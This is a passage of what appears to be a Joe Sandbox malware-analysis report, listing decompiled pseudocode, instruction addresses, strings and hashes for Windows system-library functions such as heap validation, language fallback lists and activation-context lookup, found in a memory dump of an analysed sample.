					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E34CC88C0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E34CCA8B0(_t280, ";");
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E34CC5050(_t267,  &_v68, _t245);
							if(E34CA56E0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E34CCA8B0(_t284, ";");
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E34CC5050(_t267,  &_v68, _t224);
						if(E34CA56E0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x34ca5117
0x34ca511d
0x34ca511f
0x34ca5121
0x34ca5124
0x34ca5127
0x34ca512a
0x34ca512d
0x34ca5130
0x34ca5133
0x34ca5136
0x34ca513a
0x34ca513c
0x34ca5141
0x34ceb9ab
0x34ceb9b0
0x34ca5460
0x34ca5463
0x34ca5469
0x34ca546f
0x34ca5475
0x34ca547b
0x34ca5481
0x34ca5484
0x34ca548a
0x34ca5491
0x34ca5496
0x34ca5496
0x34ca515e
0x34ceb9b7
0x34ceb9c1
0x34ceb9d0
0x34ceb9d0
0x34ceb9d5
0x34ceb9d5
0x34ca517b
0x34ca518a
0x34ca5190
0x34ca5195
0x34ca5195
0x34ca51af
0x34ca526f
0x34ca5286
0x34ca5348
0x34ca535f
0x34ca5446
0x34ca5446
0x34ca5449
0x34ca5449
0x34ca544b
0x34ca544f
0x34cebae9
0x34cebae9
0x34ca5455
0x34ca545a
0x34cebaf5
0x34cebb08
0x34cebb0f
0x34cebb11
0x34cebb14
0x34cebb14
0x34cebaf5
0x00000000
0x34ca545a
0x34ca5368
0x34ca5368
0x34ca536b
0x34ca5370
0x34cebaa5
0x34cebaa7
0x34ca5376
0x34ca5387
0x34ca5389
0x34ca538c
0x34ca538c
0x34ca5391
0x34cebaaf
0x34cebab2
0x00000000
0x34ca5397
0x34ca539c
0x34ca53a4
0x34ca53b2
0x34ca53b5
0x34ca53b8
0x34ca53fc
0x34ca53fc
0x34ca5404
0x34ca540b
0x34ca541f
0x34ca5421
0x34ca5421
0x34ca541f
0x34ca5424
0x34cebabf
0x34cebacc
0x34cebad1
0x34cebad4
0x34ca542a
0x34ca542a
0x34ca542a
0x34ca542c
0x34ca5431
0x34ca543e
0x34ca543e
0x34ca5443
0x00000000
0x34ca5443
0x34ca53ba
0x34ca53bd
0x34ca53bf
0x34ca53c2
0x34ca53ca
0x34ca53de
0x34ca53e0
0x34ca53e0
0x34ca53e7
0x34ca53ee
0x34ca53f1
0x34ca53f2
0x34ca53f6
0x34ca53f9
0x00000000
0x34ca53f9
0x34ca5391
0x34ca528f
0x34ca528f
0x34ca5292
0x34ca5297
0x34ceba41
0x34ceba43
0x34ca529d
0x34ca52ae
0x34ca52b0
0x34ca52b3
0x34ca52b3
0x34ca52b8
0x34ceba4b
0x34ceba4e
0x00000000
0x34ca52be
0x34ca52c3
0x34ca52c8
0x34ca52cb
0x34ca52ce
0x34ca52dd
0x34ca52e0
0x34ca52e3
0x34ceba58
0x34ceba5b
0x34ceba5d
0x34ceba60
0x34ceba68
0x34ceba7c
0x34ceba7e
0x34ceba7e
0x34ceba85
0x34ceba8c
0x34ceba8f
0x34ceba90
0x34ceba94
0x34ceba97
0x34ceba97
0x34ca52e9
0x34ca52ec
0x34ca52f1
0x34ca52f8
0x34ca530c
0x34ceba9f
0x34ceba9f
0x34ca530c
0x34ca5314
0x34ca5323
0x34ca5328
0x34ca532b
0x34ca532b
0x34ca532e
0x34ca5333
0x34ca5340
0x34ca5340
0x34ca5345
0x00000000
0x34ca5345
0x34ca52b8
0x34ca51b8
0x34ca51b8
0x34ca51bb
0x34ca51c0
0x34ceb9dd
0x34ca51c6
0x34ca51d2
0x34ca51d7
0x34ca51d9
0x34ca51dc
0x34ca51dc
0x34ca51e1
0x34ceb9e5
0x34ceb9e7
0x34ceb9ec
0x00000000
0x34ca51e7
0x34ca51ec
0x34ca51f1
0x34ca51f4
0x34ca5204
0x34ca5207
0x34ca520a
0x34ceb9f4
0x34ceb9f7
0x34ceb9f9
0x34ceb9fc
0x34ceba04
0x34ceba18
0x34ceba1a
0x34ceba1a
0x34ceba21
0x34ceba28
0x34ceba2b
0x34ceba2c
0x34ceba30
0x34ceba33
0x34ceba33
0x34ca5210
0x34ca5213
0x34ca5218
0x34ca521f
0x34ca5233
0x34ceba3b
0x34ceba3b
0x34ca5233
0x34ca523b
0x34ca524a
0x34ca524f
0x34ca5252
0x34ca5252
0x34ca5255
0x34ca525a
0x34ca5267
0x34ca5267
0x34ca526c
0x00000000
0x34ca526c

Strings

Kernel-MUI-Language-Allowed, xrefs: 34CA519B
Kernel-MUI-Number-Allowed, xrefs: 34CA5167
WindowsExcludedProcs, xrefs: 34CA514A
Kernel-MUI-Language-SKU, xrefs: 34CA534B
Kernel-MUI-Language-Disallowed, xrefs: 34CA5272

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 36355ad586919b63ed4e31081071931e430acb7d3100111a0cd560cbf48464f1
Instruction ID: 378a5edc1523f6117f62c367e3152f270dca4b40bd1588087e2336854909e431
Opcode Fuzzy Hash: 36355ad586919b63ed4e31081071931e430acb7d3100111a0cd560cbf48464f1
Instruction Fuzzy Hash: 93F16FB6D01619EFDB41CF99C940AEEBBFAFF48650F54406AE501E7211EB709E41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 34C77662 Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E34C77662(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E34C7B910();
					} else {
						E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E34C7B910("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E34C7B910(", passed to %s", _t29);
					}
					_push("\n");
					E34C7B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x34d747a1 = 1;
						asm("int3");
						 *0x34d747a1 = 0;
					}
					return 0;
				}
				return 1;
			}

0x34c77667
0x34c77669
0x34c77672
0x34cdad93
0x34cdadb2
0x34cdadb7
0x34cdad95
0x34cdadaa
0x34cdadaf
0x34cdadc3
0x34cdadcc
0x34cdadd4
0x34cdadda
0x34cdaddb
0x34cdade0
0x34cdadf0
0x34cdadf2
0x34cdadf9
0x34cdadfa
0x34cdadfa
0x00000000
0x34cdae01
0x00000000

Strings

Invalid heap signature for heap at %p, xrefs: 34CDADBE
RtlFreeHeap, xrefs: 34CDADCE
HEAP[%wZ]: , xrefs: 34CDADA5
HEAP: , xrefs: 34CDADB2
, passed to %s, xrefs: 34CDADCF

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: b990b98774a4fbcbc5f64b4fd470585e27338cf71f8a4d9f71246d6d46f012a8
Instruction ID: 86c24ae20663c4cdaffa2b087170bfc8790a29ff92bd02dfa473a8f7463a4e03
Opcode Fuzzy Hash: b990b98774a4fbcbc5f64b4fd470585e27338cf71f8a4d9f71246d6d46f012a8
Instruction Fuzzy Hash: E2017036106644DFF345976DE408F567FF6DF42774F2440CDE004879A3DE959840DA64

Uniqueness

Uniqueness Score: -1.00%

Function 34C80485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135
timeCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E34C80485(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _t50;
				intOrPtr* _t51;
				intOrPtr* _t73;
				intOrPtr _t76;
				char _t84;
				void* _t85;
				intOrPtr _t86;
				intOrPtr* _t89;

				_t89 = __ecx;
				_t76 =  *[fs:0x30];
				_t73 =  *0x34d76630; // 0x0
				_v32 = 0;
				_v28 = 0;
				_v8 = 0;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(__ecx + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(__ecx + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				_v12 = _t76;
				 *((intOrPtr*)(__ecx + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t84 = 0;
				if(_t73 == 0) {
					_t73 = E34C882E0(0xabababab, 0, "kLsE", 0);
					 *0x34d76630 = _t73;
					if(_t73 != 0) {
						goto L1;
					}
					L4:
					_t85 = _t84 - 1;
					if(_t85 == 0) {
						 *((intOrPtr*)(_t89 + 8)) = 2;
						 *((intOrPtr*)(_t89 + 0xc)) = 0x23f0;
						L19:
						 *((intOrPtr*)(_t89 + 4)) = 6;
						L6:
						_t86 = _v12;
						_t51 =  *((intOrPtr*)(_t86 + 0x1f4));
						if(_t51 == 0 ||  *_t51 == 0) {
							L8:
							 *((short*)(_t89 + 0x14)) = 0;
							goto L9;
						} else {
							if(E34CA5C3F(_t89 + 0x14, 0x100, _t51) >= 0) {
								L9:
								if( *_t89 != 0x11c) {
									if( *_t89 != 0x124) {
										L16:
										return 0;
									}
								}
								 *((short*)(_t89 + 0x114)) =  *(_t86 + 0xaf) & 0x000000ff;
								 *(_t89 + 0x116) =  *(_t86 + 0xae) & 0x000000ff;
								 *(_t89 + 0x118) = E34C80670();
								if( *_t89 == 0x124) {
									 *(_t89 + 0x11c) = E34C80670() & 0x0001ffff;
								}
								 *((char*)(_t89 + 0x11a)) = 0;
								if(E34C80630( &_v16) != 0) {
									 *((char*)(_t89 + 0x11a)) = _v16;
								}
								E34CC5050(0xff,  &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
								_push( &_v24);
								_push("true");
								_push( &_v8);
								_push( &_v20);
								_push( &_v32);
								if(E34CC3EE0() >= 0) {
									if(_v8 == 1) {
										if(_v20 != 4 || _v24 != 4) {
											goto L15;
										} else {
											goto L16;
										}
									}
									L15:
									 *(_t89 + 0x118) =  *(_t89 + 0x118) & 0x0000ffef;
									if( *_t89 == 0x124) {
										 *(_t89 + 0x11c) =  *(_t89 + 0x11c) & 0x0001ffef;
									}
								}
								goto L16;
							}
							goto L8;
						}
					}
					if(_t85 == 1) {
						 *((intOrPtr*)(_t89 + 8)) = 3;
						 *((intOrPtr*)(_t89 + 0xc)) = 0x2580;
						goto L19;
					}
					goto L6;
				}
				L1:
				if(_t73 != E34C80690) {
					 *0x34d791e0();
					_t50 =  *_t73();
				} else {
					_t50 = E34C80690();
				}
				_t84 = _t50;
				goto L4;
			}

0x34c8048f
0x34c80493
0x34c8049a
0x34c804a0
0x34c804a3
0x34c804a6
0x34c804af
0x34c804b8
0x34c804c2
0x34c804cb
0x34c804ce
0x34c804d2
0x34c804d6
0x34c8060e
0x34c80610
0x34c80618
0x00000000
0x00000000
0x34c804ef
0x34c804ef
0x34c804f2
0x34c805e3
0x34c805ea
0x34c805f1
0x34c805f1
0x34c80501
0x34c80501
0x34c80504
0x34c8050c
0x34c80519
0x34c8051b
0x00000000
0x34cde99c
0x34cde9ac
0x34c8051f
0x34c8052a
0x34cde9b9
0x34c805cd
0x34c805d3
0x34c805d3
0x34cde9bf
0x34c8053c
0x34c8054d
0x34c80559
0x34c80562
0x34cde9ce
0x34cde9ce
0x34c8056a
0x34c8057b
0x34c80580
0x34c80580
0x34c8058f
0x34c80597
0x34c80598
0x34c8059d
0x34c805a1
0x34c805a5
0x34c805ad
0x34c805b3
0x34cde9dd
0x00000000
0x34cde9ed
0x00000000
0x34cde9ed
0x34cde9dd
0x34c805b9
0x34c805be
0x34c805c7
0x34cde9f2
0x34cde9f2
0x34c805c7
0x00000000
0x34c805ad
0x00000000
0x34cde9b2
0x34c8050c
0x34c804fb
0x34cde989
0x34cde990
0x00000000
0x34cde990
0x00000000
0x34c804fb
0x34c804dc
0x34c804e2
0x34c805d6
0x34c805dc
0x34c804e8
0x34c804e8
0x34c804e8
0x34c804ed
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34C805D6

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 34C80586
kLsE, xrefs: 34C805FE

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: a7ad59d94a3df933934aa67e7db1fb696c726c43dff7e905529a91ad1842d112
Instruction ID: 4adbd9aa265c421d2b59039ac3a615ad540040531aa8f38c1c02f580d0de007a
Opcode Fuzzy Hash: a7ad59d94a3df933934aa67e7db1fb696c726c43dff7e905529a91ad1842d112
Instruction Fuzzy Hash: 7951F3B5A01B46DFE720DFA6C4806EBB7FAAF46308F01843ED999D3241EB309545CB65

Uniqueness

Uniqueness Score: -1.00%

Function 34C8A2E0 Relevance: 5.3, Strings: 4, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E34C8A2E0(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed short* _a12) {
				char _v12;
				char* _v16;
				char _v20;
				char* _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v81;
				signed int _v84;
				void* _v88;
				void* _v89;
				signed short _v92;
				char _v93;
				void* _v100;
				void* _v101;
				intOrPtr* _t122;
				signed char* _t123;
				signed char* _t125;
				intOrPtr* _t128;
				signed char* _t129;
				signed char* _t131;
				intOrPtr _t133;
				signed int _t139;
				signed short* _t159;
				intOrPtr _t163;
				signed int _t178;
				signed int _t183;

				_t122 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				_v48 = __edx;
				_v52 = __ecx;
				_v64 = 0;
				_v28 = 0x3a0038;
				_v24 = L"LdrResFallbackLangList Enter";
				_v20 = 0x380036;
				_v16 = L"LdrResFallbackLangList Exit";
				if(_t122 != 0) {
					if( *_t122 == 0) {
						goto L1;
					}
					_t123 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					L2:
					if(( *_t123 & 0x00000001) != 0) {
						if(E34C93C40() == 0) {
							_t125 = 0x7ffe0384;
						} else {
							_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						E34D0FC01( &_v28,  *_t125 & 0x000000ff);
					}
					_t159 = _a12;
					if(_t159 == 0) {
						_t163 = 0xc000000d;
						_v68 = 0xc000000d;
						goto L35;
					} else {
						_t183 = 0;
						 *_t159 = 0;
						_t159[0x102] = 0;
						_v60 = 0;
						_v68 = 0;
						_v81 = 0;
						_v56 = 0;
						while(1) {
							L5:
							_v72 = 0;
							while(1) {
								L6:
								_t139 = _t183;
								_t178 = _t183;
								_t183 = _t183 + 1;
								if(_t139 > 7) {
									break;
								}
								switch( *((intOrPtr*)(_t139 * 4 +  &M34C8A60C))) {
									case 0:
										__ax = _a4;
										_v64 = 1;
										goto L14;
									case 1:
										if((_a8 & 0x00000004) != 0) {
											 *((char*)(__ebx + 0x204)) = 1;
											goto L34;
										}
										if((_a4 & 0x000003ff) != 0) {
											__edx =  &_v76;
											 *((char*)(__ebx + 0x204)) = 1;
											if(E34C788C8(__ecx, __edx) < 0) {
												goto L34;
											}
											__ax = _v76;
											_v72 = __ax;
											__eax = _v72;
											if(__ax != 0) {
												__esi = __edi;
											} else {
												__esi = __esi | 0xffffffff;
											}
											L30:
											_v64 = 2;
											goto L15;
										}
										__eax = 0xeeee;
										_v72 = 0xeeee;
										goto L30;
									case 2:
										_v80 = 0;
										if(E34C8A630() == 0) {
											goto L24;
										}
										_t166 = _v60;
										if(_v60 >= ( *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff)) {
											goto L24;
										}
										E34C8A750( *( *[fs:0x18] + 0xfc0), _t166,  &_v80,  &_v81);
										_t149 = _v92 & 0x0000ffff;
										_v84 = _t149;
										if(_t149 == 0) {
											goto L24;
										}
										if(_v81 != 0) {
											if((_a8 & 0x00100000) != 0) {
												_v72 = 0xeeee;
												_t149 = _v72;
											}
										}
										_v60 = _v60 + 1;
										_t183 = _t178;
										_v64 = 3;
										goto L15;
									case 3:
										__eax = _v52;
										if(__eax == 0) {
											L24:
											_v72 = 0xeeee;
											goto L6;
										}
										__edx = _v48;
										 &_v36 =  &_v44;
										__ecx = __eax;
										__eax = E34C8A1E3(__ecx, __edx,  &_v44,  &_v36, _a8);
										if(__eax >= 0) {
											 &_v12 = E34CC5050(__ecx,  &_v12, _v44);
											 &_v48 =  &_v20;
											__eax = E34CA56E0( &_v20,  &_v48);
											if(__al == 0) {
												_v68 = 0xc00b0005;
												goto L24;
											}
											__ax =  *((intOrPtr*)(__esp + 0x3c));
											_v72 = __eax;
											_v80 = __ax;
											if((_a8 & 0x00100000) != 0) {
												__edx =  *[fs:0x18];
												 &_v81 =  &_v80;
												__edx =  *( *[fs:0x18] + 0xfc0);
												__eax = E34C8A750(__edx, 0,  &_v80,  &_v81);
												if(_v93 == 0) {
													__ax = _v80;
													_v72 = __eax;
												} else {
													__eax = 0xeeee;
													_v72 = __ax;
												}
											}
											__eax = _v36;
											__al = __al & 0x00000001;
											__al & 0x000000ff =  ~(__al & 0x000000ff);
											asm("sbb eax, eax");
											 ~(__al & 0x000000ff) & 0x00000006 = ( ~(__al & 0x000000ff) & 0x00000006) + 4;
											_v64 = ( ~(__al & 0x000000ff) & 0x00000006) + 4;
											__eax = _v72;
											goto L15;
										}
										goto L24;
									case 4:
										__eax = 0xeeee;
										_v80 = __ax;
										__eax = _a8;
										__eax =  !_a8;
										if((__eax & 0x00080000) != 0) {
											goto L34;
										}
										if( *[fs:0x18] == 0) {
											__ax = _v80;
											goto L5;
										}
										__eax =  *[fs:0x18];
										__ax =  *((intOrPtr*)(__eax + 0xc4));
										goto L14;
									case 5:
										__eax = 0xeeee;
										_v72 = __ax;
										__eax =  &_v56;
										_push( &_v56);
										_push(1);
										__eax = E34CC2AE0();
										_v76 = __eax;
										if(__eax < 0) {
											goto L6;
										}
										__ax = _v56;
										goto L14;
									case 6:
										__eax = 0xeeee;
										_v72 = __ax;
										__eax =  &_v32;
										_push( &_v32);
										_push(0);
										__eax = E34CC2AE0();
										_v76 = __eax;
										if(__eax < 0) {
											goto L6;
										}
										__eax = _v32;
										if(__eax == _v56) {
											goto L6;
										}
										L14:
										_v72 = __eax;
										L15:
										if(_t149 == 0xeeee) {
											goto L6;
										}
										goto L16;
									case 7:
										__eax = 0x409;
										_v72 = __ax;
										L16:
										_t179 =  *_t159 & 0x0000ffff;
										_t168 = 0;
										_t175 = _t179;
										if(_t175 == 0) {
											L20:
											if(_t179 >= 0x40) {
												goto L34;
											}
											 *((short*)(_t159 + 4 + _t175 * 8)) = _v72;
											 *(_t159 + 8 + ( *_t159 & 0x0000ffff) * 8) = _v64;
											 *_t159 =  *_t159 + 1;
											goto L6;
										} else {
											_t152 =  &(_t159[2]);
											while(1) {
												_t179 =  *_t159 & 0x0000ffff;
												if( *_t152 == _v72) {
													break;
												}
												_t168 = _t168 + 1;
												_t152 =  &(_t152[4]);
												if(_t168 < _t175) {
													continue;
												}
												goto L20;
											}
											if(_t168 < _t175) {
												goto L6;
											}
											goto L20;
										}
								}
							}
							L34:
							_t163 = _v68;
							L35:
							_t128 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
							if(_t128 != 0) {
								if( *_t128 == 0) {
									goto L36;
								}
								_t129 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								L37:
								if(( *_t129 & 0x00000001) != 0) {
									if(E34C93C40() == 0) {
										_t131 = 0x7ffe0384;
									} else {
										_t131 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
									}
									E34D0FC01( &_v20,  *_t131 & 0x000000ff);
									_t133 = _v68;
								} else {
									_t133 = _t163;
								}
								return _t133;
							}
							L36:
							_t129 = 0x7ffe0385;
							goto L37;
						}
					}
				}
				L1:
				_t123 = 0x7ffe0385;
				goto L2;
			}

0x34c8a2f4
0x34c8a2f7
0x34c8a2fb
0x34c8a2ff
0x34c8a307
0x34c8a30f
0x34c8a317
0x34c8a31f
0x34c8a329
0x34ce29f7
0x00000000
0x00000000
0x34ce2a06
0x34c8a334
0x34c8a337
0x34ce2a17
0x34ce2a29
0x34ce2a19
0x34ce2a22
0x34ce2a22
0x34ce2a35
0x34ce2a35
0x34c8a33d
0x34c8a342
0x34ce2a3f
0x34ce2a44
0x00000000
0x34c8a348
0x34c8a34a
0x34c8a34e
0x34c8a351
0x34c8a357
0x34c8a35b
0x34c8a35f
0x34c8a363
0x34c8a367
0x34c8a367
0x34c8a367
0x34c8a370
0x34c8a370
0x34c8a370
0x34c8a372
0x34c8a374
0x34c8a378
0x00000000
0x00000000
0x34c8a37e
0x00000000
0x34c8a3ff
0x34c8a403
0x00000000
0x00000000
0x34c8a4af
0x34ce2b05
0x00000000
0x34ce2b05
0x34c8a4bc
0x34ce2a52
0x34ce2a56
0x34ce2a64
0x00000000
0x00000000
0x34ce2a6a
0x34ce2a6f
0x34ce2a77
0x34ce2a7b
0x34ce2a85
0x34ce2a7d
0x34ce2a7d
0x34ce2a7d
0x34c8a4cb
0x34c8a4cb
0x00000000
0x34c8a4cb
0x34c8a4c2
0x34c8a4c7
0x00000000
0x00000000
0x34c8a387
0x34c8a393
0x00000000
0x00000000
0x34c8a39f
0x34c8a3af
0x00000000
0x00000000
0x34c8a3cd
0x34c8a3d2
0x34c8a3d7
0x34c8a3de
0x00000000
0x00000000
0x34c8a3e9
0x34ce2a93
0x34ce2a9e
0x34ce2aa3
0x34ce2aa3
0x34ce2a93
0x34c8a3ef
0x34c8a3f3
0x34c8a3f5
0x00000000
0x00000000
0x34c8a46a
0x34c8a470
0x34c8a492
0x34c8a497
0x00000000
0x34c8a497
0x34c8a475
0x34c8a47e
0x34c8a483
0x34c8a485
0x34c8a48c
0x34c8a5b5
0x34c8a5bf
0x34c8a5c4
0x34c8a5cb
0x34ce2aee
0x00000000
0x34ce2aee
0x34c8a5d8
0x34c8a5dd
0x34c8a5e1
0x34c8a5e6
0x34ce2aac
0x34ce2ab8
0x34ce2abd
0x34ce2ac5
0x34ce2acf
0x34ce2ae0
0x34ce2ae5
0x34ce2ad1
0x34ce2ad1
0x34ce2ad6
0x34ce2ad6
0x34ce2acf
0x34c8a5ec
0x34c8a5f0
0x34c8a5f5
0x34c8a5f7
0x34c8a5fc
0x34c8a5ff
0x34c8a603
0x00000000
0x34c8a603
0x00000000
0x00000000
0x34c8a4d8
0x34c8a4dd
0x34c8a4e2
0x34c8a4e5
0x34c8a4ec
0x00000000
0x00000000
0x34c8a4f6
0x34ce2afb
0x00000000
0x34ce2afb
0x34c8a4fc
0x34c8a502
0x00000000
0x00000000
0x34c8a53c
0x34c8a541
0x34c8a546
0x34c8a54a
0x34c8a54b
0x34c8a54d
0x34c8a552
0x34c8a558
0x00000000
0x00000000
0x34c8a55e
0x00000000
0x00000000
0x34c8a568
0x34c8a56d
0x34c8a572
0x34c8a576
0x34c8a577
0x34c8a579
0x34c8a57e
0x34c8a584
0x00000000
0x00000000
0x34c8a58a
0x34c8a592
0x00000000
0x00000000
0x34c8a40b
0x34c8a40b
0x34c8a40f
0x34c8a417
0x00000000
0x00000000
0x00000000
0x00000000
0x34c8a59d
0x34c8a5a2
0x34c8a41d
0x34c8a41d
0x34c8a420
0x34c8a422
0x34c8a426
0x34c8a444
0x34c8a448
0x00000000
0x00000000
0x34c8a456
0x34c8a45e
0x34c8a462
0x00000000
0x34c8a428
0x34c8a428
0x34c8a430
0x34c8a437
0x34c8a43a
0x00000000
0x00000000
0x34c8a43c
0x34c8a43d
0x34c8a442
0x00000000
0x00000000
0x00000000
0x34c8a442
0x34c8a4a3
0x00000000
0x00000000
0x00000000
0x34c8a4a9
0x00000000
0x34c8a37e
0x34c8a50e
0x34c8a50e
0x34c8a512
0x34c8a518
0x34c8a51d
0x34ce2b14
0x00000000
0x00000000
0x34ce2b23
0x34c8a528
0x34c8a52b
0x34ce2b34
0x34ce2b46
0x34ce2b36
0x34ce2b3f
0x34ce2b3f
0x34ce2b52
0x34ce2b57
0x34c8a531
0x34c8a531
0x34c8a531
0x34c8a539
0x34c8a539
0x34c8a523
0x34c8a523
0x00000000
0x34c8a523
0x34c8a367
0x34c8a342
0x34c8a32f
0x34c8a32f
0x00000000

Strings

LdrResFallbackLangList Exit, xrefs: 34C8A31F
8, xrefs: 34C8A307
6, xrefs: 34C8A317
LdrResFallbackLangList Enter, xrefs: 34C8A30F

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: ad9e7ed19e3a63b9fc92c9b1955cfd8723c61332fec693041396c5c4d578f30f
Instruction ID: fd9c446b50fb77dfb4e2a12398429db4b232ff8bb4ac4b202e629f63d5828e75
Opcode Fuzzy Hash: ad9e7ed19e3a63b9fc92c9b1955cfd8723c61332fec693041396c5c4d578f30f
Instruction Fuzzy Hash: CFC18974208782CFE711CF15C440B6AB7EAEF85748F04496EF895CB650E73AC98ACB56

Uniqueness

Uniqueness Score: -1.00%

Function 34CB265C Relevance: 5.2, Strings: 4, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E34CB265C(signed char __ecx, signed int __edx, intOrPtr _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed int _v8;
				char _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				char* _v548;
				short _v550;
				short _v552;
				signed int* _v556;
				signed int* _v560;
				signed int* _v564;
				signed int _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t95;
				intOrPtr _t96;
				void* _t104;
				signed int _t105;
				signed int* _t107;
				void* _t111;
				void* _t113;
				signed int _t119;
				intOrPtr _t120;
				void* _t121;
				char* _t128;
				signed int _t131;
				signed short _t139;
				signed int _t142;
				signed int _t147;
				signed int _t149;
				signed int _t154;

				_t141 = __edx;
				_v8 =  *0x34d7b370 ^ _t154;
				_v556 = _a12;
				_t128 =  &_v532;
				_v560 = _a8;
				_t147 = 0;
				_v564 = _a16;
				_t142 = 0;
				_v540 = __ecx;
				_v532 = 0;
				_t131 = 0;
				_v552 = 0;
				_t95 = 2;
				_v550 = _t95;
				_t96 = _a4;
				_v536 = 0;
				_v544 = 0;
				_v548 = _t128;
				if(_t96 == 0x34c5120c) {
					E34D0EF10(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t148 = 0xc000000d;
					L39:
					return L34CC4B50(_t148, _t128, _v8 ^ _t154, _t141, _t142, _t148);
				}
				if(_v560 != 0) {
					 *_v560 =  *_v560 & 0;
					_t147 = 0;
				}
